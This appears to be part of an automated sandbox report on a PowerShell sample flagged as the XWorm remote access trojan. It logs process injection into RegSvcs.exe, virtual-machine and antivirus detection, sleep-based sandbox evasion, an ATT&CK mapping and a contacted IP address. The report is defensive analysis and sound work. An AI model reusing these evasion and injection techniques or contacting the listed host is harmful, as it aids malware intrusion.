Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4160	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2639	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7204	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5344	Thread sleep time: -5534023222112862s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6512	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: RegSvcs.exe, 00000004.00000002.4599997766.000000000107C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlld

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 412000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 414000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: B54008	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegSvcs.exe, 00000004.00000002.4599997766.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.4599997766.000000000106E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.272c85102e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.272c9328660.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.272c85102e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.272c9328660.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4599580483.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4602069270.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2176808391.00000272C8F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2176808391.00000272C8571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5916, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.272c85102e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.272c9328660.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.272c85102e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.272c9328660.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4599580483.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4602069270.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2176808391.00000272C8F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2176808391.00000272C8571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5916, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	1 Disable or Modify Tools	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	121 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	211 Process Injection	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
176.113.115.170.ps1	11%	ReversingLabs	Win32.Trojan.Generic
176.113.115.170.ps1	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
176.113.115.170	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
18.31.95.13.in-addr.arpa	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
176.113.115.170	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.2176808391.00000272C94E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2197250295.00000272D83CF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.2176808391.00000272C8111000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.2176808391.00000272C8111000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.4602069270.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 00000000.00000002.2176808391.00000272C8571000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp	false	high
